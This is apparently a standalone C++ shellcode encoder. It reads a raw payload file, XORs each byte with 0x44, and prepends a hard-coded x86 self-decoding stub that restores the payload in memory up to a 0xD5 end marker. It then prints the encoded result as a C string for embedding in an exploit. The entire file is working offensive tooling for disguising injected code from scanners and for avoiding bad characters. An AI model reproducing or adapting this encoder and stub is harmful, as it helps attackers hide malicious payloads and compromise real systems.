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enshellcode.cpp
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enshellcode.cpp
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#include <windows.h>
size_t GetSize(char * szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)
{
unsigned char *p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
int main(int argc, char* argv[])
{
char *szFilePath="c:\\test\\shellcode.bin";
char *szFilePath2="c:\\test\\shellcode2.bin";
unsigned char *BinData = NULL;
size_t size = 0;
BinData = ReadBinaryFile(szFilePath, &size);
for(int i=0;i<size;i++)
{
BinData[i]=BinData[i]^0x44;
}
FILE* f = NULL;
f = fopen(szFilePath2, "wb");
if (f == NULL)
{
printf("Create error\n");
return 0;
}
char decode[]="\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1";
char end[]="\xD5";
fwrite(decode,20,1,f);
fwrite(BinData,size,1,f);
fwrite(end,1,1,f);
fclose(f);
f = fopen(szFilePath2, "rb");
if (f == NULL)
{
printf("Create error\n");
return 0;
}
unsigned char *BinData2 = NULL;
size_t size2 = 0;
BinData2 = ReadBinaryFile(szFilePath2, &size2);
printf("\"");
for (int j=0;j<size2;j++)
{
printf("\\x%02x",BinData2[j]);
if((j+1)%16==0)
printf("\"\n\"");
}
printf("\"");
fclose(f);
return 0;
}